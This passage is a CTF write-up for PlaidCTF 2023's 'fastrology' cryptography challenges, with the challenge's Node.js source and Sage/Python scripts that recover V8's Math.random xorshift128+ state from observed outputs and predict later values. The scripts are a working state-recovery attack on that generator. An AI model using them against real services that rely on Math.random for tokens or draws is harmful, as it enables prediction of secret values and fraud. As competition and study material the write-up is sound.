from tqdm import tqdm
from binteger import Bin
import struct
import random
from concurrent.futures import ProcessPoolExecutor, as_completed
from subprocess import Popen, PIPE, DEVNULL, TimeoutExpired
import time
import os
import sys
import signal
import ast

prefix_len = 250
charset = "♈♉♊♋♌♍♎♏♐♑♒♓⛎"


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^ 0x3FF0000000000000


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift_sym(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


def xorshift_vec(state0, state1):
    se_s1 = state0[::]
    se_s0 = state1[::]
    state0 = se_s0[::]
    for i in range(64 - 23):
        se_s1[i] += se_s1[i + 23]
    for i in range(64 - 17):
        se_s1[63 - i] += se_s1[63 - (i + 17)]
    for i in range(64 - 0):
        se_s1[i] += se_s0[i + 0]
    for i in range(64 - 26):
        se_s1[63 - i] += se_s0[63 - (i + 26)]
    state1 = se_s1[::]
    return state0, state1


def xorshift(state0, state1):
    mask = (1 << 64) - 1
    s1 = state0
    s0 = state1
    state0 = s0
    s1 ^= s1 << 23
    s1 &= mask
    s1 ^= s1 >> 17
    s1 ^= s0
    s1 ^= s0 >> 26
    state1 = s1
    return (state0, state1)


class V8XorShift128:
    kCacheSize = 64  # v8 cache size

    def __init__(self, s0, s1, xorshift, offset=0):
        self.s0 = s0
        self.s1 = s1
        self.xorshift = xorshift
        self.offset = offset
        if offset != 0:
            self.pool = ["?"] * (self.kCacheSize - offset)
        else:
            self.pool = []

    def take(self):
        if len(self.pool) == 0:
            self.refill()
        return self.pool.pop()

    def refill(self):
        for _ in range(self.kCacheSize):
            self.s0, self.s1 = self.xorshift(self.s0, self.s1)
            self.pool.append(self.s0)


def try_solve(A, b, max_tries=1000, threshold=20):
    # stupid ISD
    nr = A.nrows()
    nc = A.ncols()
    for _ in range(max_tries):
        idxs = random.sample(range(nr), nc)
        AA = A.matrix_from_rows(idxs)
        bb = vector([b[i] for i in idxs])
        try:
            sol = AA.solve_right(bb)
            err2 = A * sol - b
            if list(err2).count(1) <= threshold:
                print("done at", _, file=sys.stderr)
                return sol
        except Exception as e:
            pass


def solve(inp, start_offset=None, timeout=6):
    if not isinstance(start_offset, int):
        procs = []
        for i in range(*start_offset):
            p = Popen(
                [sys.executable, __file__, inp, str(i)],
                stdout=PIPE,
                stderr=DEVNULL,
                shell=False,
            )
            procs.append(p)
        start = time.time()
        while len(procs) > 0 and (time.time() - start) < timeout:
            done = []
            for p in procs:
                if p.poll() is None:
                    continue
                sol = p.stdout.read().decode().strip()
                yield sol
                done.append(p)
            for p in done:
                procs.remove(p)
            time.sleep(0.5)
        return
    signal.alarm(timeout)
    nums = [charset.index(c) for c in inp]
    print(len(nums), prefix_len, file=sys.stderr)
    tbl = {0: 0, 2: 1, 5: 3, 7: 4, 10: 6, 12: 7}
    hint13 = [
        0,
        346430740566961,
        692861481133922,
        1039292221700884,
        1385722962267845,
        1732153702834806,
        2078584443401768,
        2425015183968728,
        2771445924535690,
        3117876665102651,
        3464307405669612,
        3810738146236574,
        4157168886803535,
        (1 << 52) - 1,
    ]
    V = GF(2) ** 128
    s0 = list(V.gens()[:64])
    s1 = list(V.gens()[64:])
    rng = V8XorShift128(s0, s1, xorshift_vec)
    for _ in range(start_offset):
        rng.take()
    for i in range(prefix_len + 128):
        rng.take()
    eq = []
    for i in range(prefix_len):
        s0 = rng.take()
        if nums[i] == "?":
            continue
        # if nums[i] not in tbl:
        #     continue
        # bits = f"{tbl[nums[i]]:03b}"
        # eq.append(s0[0] - int(bits[0]))
        # eq.append(s0[1] - int(bits[1]))
        # eq.append(s0[2] - int(bits[2]))

        # from kent huang
        # this can collect more equations
        num = nums[i]
        common = bin(hint13[num] ^ hint13[num + 1])[2:].zfill(52).find("1")
        for j in range(common):
            if (hint13[num] >> (51 - j)) & 1:
                eq.append((s0[j], 1))
            else:
                eq.append((s0[j], 0))

    A = matrix([x for x, _ in eq])
    b = vector([y for _, y in eq])
    print(A.dimensions(), len(b), file=sys.stderr)
    C = codes.LinearCode(A.T)
    D = codes.decoders.LinearCodeInformationSetDecoder(C, 25)
    print(D.algorithm().time_estimate(), file=sys.stderr)
    sol = D.decode_to_message(b)
    # sol = A.solve_right(b)
    # sol = try_solve(A, b, 1000)
    # if sol is None:
    #     return
    # print("sol", sol, file=sys.stderr)
    err = A * sol - b
    print("err cnt", list(err).count(1), file=sys.stderr)

    s0 = Bin(sol[:64]).int
    s1 = Bin(sol[64:]).int
    rng = V8XorShift128(s0, s1, xorshift)
    for _ in range(start_offset):
        rng.take()
    backup = []
    for i in range(prefix_len + 128):
        index = math.floor(u2fp(rng.take() >> 12) * 12)
        backup.append(charset[index])
    output = []
    for i in range(prefix_len + 128):
        index = math.floor(u2fp(rng.take() >> 12) * 13)
        output.append(charset[index] if index != 12 else backup[i])
    yield "".join(output)[prefix_len:]


if __name__ == "__main__":
    inp = sys.argv[1]
    offset = ast.literal_eval(sys.argv[2]) if len(sys.argv) > 2 else (0, 64)
    for sol in solve(inp, offset):
        print(sol)

The actual solution was noting that all index 12 outputs were replaced, and index 12 corresponded to top 3 bits = 111. Assuming replacement with index 7, which corresponded to top 3 bits = 100 (refer to my new moon table).

Finding index 7 characters had two possibilities: original index 7 or replaced index 12. Both had top 1 bits = 1, providing an equation.

Using the same tbl but only taking equations with bit 1 ensured no errors, solving the linear system.

Teammate's table:

hint = {0: ("000", 3), 1:("00", 2), 2:("001", 3), 3:("0", 1), 4:("01", 2), 5:("011", 3), 7: ("100", 1), 8: ("10", 1), 9:("1", 1), 10: ("110", 2), 11: ("11", 2), 12: ("111", 3)}

Or refer to another writeup: PlaidCTF 2023 Writeups - waxing gibbous, using a similar table.

*fastrology: full moon

const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 600;
const alphabet = '☿♀♁♂♃♄♅♆♇';

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    let index = Math.floor(Math.random() * alphabet.length);
    let rand_max = Math.floor(Math.random() * 4);
    let distortion_len = Math.floor(i/125);
    for (let j = 0; j < distortion_len; j++) {
        index ^= Math.floor(Math.random() * rand_max);
    }
    index = Math.min(index, alphabet.length-1);
    output += alphabet[index];
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

I didn't solve this challenge because I spent all my time on the web Subs challenge XD. The solution involved noting the first 125 outputs were undisturbed, then using toxicpie's xor method to get enough equations to solve.

Here's my post-CTF sage script:

import struct, math, random
from binteger import Bin


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^^ 0x3FF0000000000000


charset = "☿♀♁♂♃♄♅♆♇"
# fmt: off
ssss = '♃♁♄☿♂♄♂♇♀♅♄♀♃☿☿♄♀♅♂☿♇♂♇♀☿☿♆♅♂♃☿♀♃♂♀♁♃♃♁♅♂☿☿♅♃♁♆♂♄♀♀♂♆♃♇☿♃♂♃☿♃♁♀♅♁♂♆♇♆☿♆♄♇♅♁♁♄☿♁♇♄♁♇♅♂☿♆☿♂♁♁♁♂♀♀♀♀♅♆♅☿♇☿♆♃♅♆♃♁☿♆☿♅♂♂♄♅♇☿♆♅♀♇♃♄☿♁♆♅♅♁♃♂♅♁♇♄♁♀☿♀♃♃♀♆♃♆♂♁♆♇♅♃♀☿♇♁♄♂♀♅♃♇♀♄♅♅♃♀♇☿♆♀♅♄♁♃♅♀♆♅♂♁♆♅♃♄♃☿♂♇♁♇♁♅♁♇☿♆♅☿♄♆♃♄♁♆♄♂♄♅♀♃♆♃☿♁♀♂♁♇♃♃♆☿♁♆♁♄♇♅♂♅☿♇♀♃♀♁♂♂♀☿☿☿♀♂♅♆♁♂♆♀♃☿♂♂♅♀☿♅♆♄♄♄♁♂♅♁♄♁♆♄♄☿♇♃♃♄♂☿♆♀♁♆♅♁♆♄♁♆♀♄♃♆♂♁☿♇♀♀♆♂♀♀♁♁♇♄♆♇♆♀♃♆♆♅♂♂♁♆☿♀♁♄♆♇☿♅♄♁♁♅♁♂♅♁♅♀♀♃♁♇♇☿♁♆♂♂♂♂♄♇♄♂♃♂♁☿♇♂♄♅♀♅♇♂♅♃♂♃♁♀♁♁♇♃♆♄♄♁♇♄♆♅♁♇♄♂♅♇♄♆♂♀♁♂♅♂♇♀♃♃♆☿♄♀♃☿♆♁♃♆☿☿♂♁♁☿☿☿♃♂♁♀♆☿♆♇♀♇☿☿♆♆☿♁♆♇♆♅♅♁♇♀♆☿♃♄♇♁♇♁♄♅♇♃♀♄♂♅♄♀♀♆♇♆♂♇♃♄♁♂♀♂♇♀♁☿♇♃♂♀♄♀♀♄♅☿♇♅♅♇♇♅♀♇♁☿♅♅♅☿♂♇♇♇♀♀♅♃♀♃☿♂♃♀♆♅♀♁♀☿♂♄♂♃♃♂♇♃♅♁♁♅♀♂♅♅♃♇♇♃♆☿♆♇♁☿♀♄♅♄♂♂♆♂♆♀♃♁♃♇♀♄♃♁♂♃♀♄♄♁♅♇♆♅♁♇♀♁♄♅☿♂♃♂☿♄♂♀♅♆♂♆♇♂♃♄♅'
ssss = '♃♄♄♅♅♃♇♀♇♃♄♆♄♂♅♄♄♆♁♂♂♇♁♂♁♃♆♆♄♀♁♃♄♃☿♂♁♅♇♅♁♂♆♅♂☿♃♅♄♂♅♇☿☿♄♂♀♇♆☿♂♂♇♃♇♄♅♂♁♀♅♇♄♄♄♁♀♆♁♆♆♅♇♇♇☿♃♁♇♅♀♄♀♁♂♆♄♁♂♀♆♄♂☿♁♄♃♂♂♅♄♇♃♃♃☿♂♁☿☿♁♁♂♁♇♄♁♆♄♆♅♂♀♇♇♃☿♀♁♇♇♂♁♅♁♀☿♂♀♂♅♂♄♂♂♄♅♄♂♆♀♀♇☿♆♃♀♇♆♆♇♃♃♁♅♆♅♄♅♃♁♅♇♂☿♂♅♇♄♂♆♇☿♅♆♄♁♂☿☿♄♄♀♀♇♅♃♇♆♇☿♆♁♆♃♂♀♂♅♄♁♀♁♂♆♅♀♆♄♃♆♅♀♇♂♁♂♄♃♀♅☿♄♀♄♆♄♀♂♀♃♆♁♂♀☿♃♇♃♇♇♂♄♄♅☿♅♃♇♅♀♇♆☿♅♀♃♆♀♆♇♁♁♄♆♇♇☿♄♅♇♁♄♅♂♁♁♂♇♅♇♁♃♁♇☿♅♁♅☿♃♀♇♁♀☿♀♀♃♀♅♅♀☿♁♃♀♄♅☿♂♁♆♇♀♀♆♁♂♀♆♁♁♄♆♄♄♃♂♃♀♁♂♅♄☿♆♆♂♃☿♄♅♄♇♀♃☿♁♆♅♄♆♀♀♇♀♀♇♄♄♇♅♂♃♃♄♆♁♃♇♇♁☿♁♁♃♂♂☿♁♄♁♆♂☿♅♇♅♀♅♀♇♃♀♅♆☿♃♄♆♄♁♆☿♁♀♇♂♀♄♀♂☿♅♂♄♁♆♀♁♀♆♆♇♅♇☿♃♅♅♄☿♁☿☿♂♀♇♁♆♁☿♁♃♃♆♄☿♄♃♁♁♄♄♁♄♆♇♁♂♃☿♂♃♅♇♇♆♁☿♅♁♆♀♄♆♅♄♅♆♀♃♆♇♁♂♄♃♄♆♆♆♅♅♆☿☿♁♃☿♀♃♃☿♁♇♂♄♅♄♁♄♆♃♆♁♇☿♂♄♀♁♅♇☿♃♆♃♅♇♆♇♄♄♅♄♆♀♁♀♅♃♄☿☿♅♄♃♀☿☿♄♁♃♃♆♄♅♂♀♇♂☿♃♅♀♁♂♅♅♀♅♆♃♀♀♃♁♃'
nums = [charset.index(c) for c in ssss]
# fmt: on
prefix_len = 600
nums = nums[:125]
startOffset = 13


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift_sym(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


def xorshift_vec(state0, state1):
    se_s1 = state0[::]
    se_s0 = state1[::]
    state0 = se_s0[::]
    for i in range(64 - 23):
        se_s1[i] += se_s1[i + 23]
    for i in range(64 - 17):
        se_s1[63 - i] += se_s1[63 - (i + 17)]
    for i in range(64 - 0):
        se_s1[i] += se_s0[i + 0]
    for i in range(64 - 26):
        se_s1[63 - i] += se_s0[63 - (i + 26)]
    state1 = se_s1[::]
    return state0, state1


def xorshift(state0, state1):
    mask = (1 << 64) - 1
    s1 = state0
    s0 = state1
    state0 = s0
    s1 ^^= s1 << 23
    s1 &= mask
    s1 ^^= s1 >> 17
    s1 ^^= s0
    s1 ^^= s0 >> 26
    state1 = s1
    return (state0, state1)


class V8XorShift128:
    kCacheSize = 64  # v8 cache size

    def __init__(self, s0, s1, xorshift, offset=0):
        self.s0 = s0
        self.s1 = s1
        self.xorshift = xorshift
        self.offset = offset
        if offset != 0:
            self.pool = ["?"] * (self.kCacheSize - offset)
        else:
            self.pool = []

    def take(self):
        if len(self.pool) == 0:
            self.refill()
        return self.pool.pop()

    def refill(self):
        for _ in range(self.kCacheSize):
            self.s0, self.s1 = self.xorshift(self.s0, self.s1)
            self.pool.append(self.s0)



hint9 = [fp2u(i/9) for i in range(9)] + [1<<52]
syms = [f"s0_{i}" for i in range(64)] + [f"s1_{i}" for i in range(64)]
V = GF(2) ^ 128
s0 = list(V.gens()[:64])
s1 = list(V.gens()[64:])
rng = V8XorShift128(s0, s1, xorshift_vec)
for _ in range(startOffset):
    rng.take()
eq = []
for i in range(len(nums)):
    s0 = rng.take()
    rng.take()
    if nums[i] == "?":
        continue

    num = nums[i]
    common = bin(hint9[num] ^^ hint9[num + 1] - 1)[2:].zfill(52).find('1')
    for i in range(common):
        if (hint9[num] >> (51 - i)) & 1:
            eq.append((s0[i], 1))
        else:
            eq.append((s0[i], 0))

A = matrix([x for x, _ in eq])
b = vector([y for _, y in eq])
print(A.dimensions(), len(b))
sol = A.solve_right(b)


s0 = Bin(sol[:64]).int
s1 = Bin(sol[64:]).int
rng = V8XorShift128(s0, s1, xorshift)
for _ in range(startOffset):
    rng.take()
output = []
for i in range(prefix_len + 128):
    index = math.floor(u2fp(rng.take() >> 12) * len(charset))
    rand_max = math.floor(u2fp(rng.take() >> 12) * 4)
    distortion_len = i // 125
    for j in range(distortion_len):
        index ^^= math.floor(u2fp(rng.take() >> 12) * rand_max)
    output.append(charset[min(index, len(charset) - 1)])
print("".join(output))
print(ssss)

Another writeup mentioned that even disturbed outputs after 125 could provide some bit information. The key was rand_max maxed at 3, affecting only the low 2 bits of the index. Grouping 0-3 and 4-7 provided additional bits.

Web#

Davy Jones' Putlocker: Dubs#

Davy Jones' Putlocker: Subs#

Crypto#

bivalves: scallop#

fastrology: waxing crescent#

*fastrology: new moon#

*fastrology: waxing gibbous#

*fastrology: full moon#

Web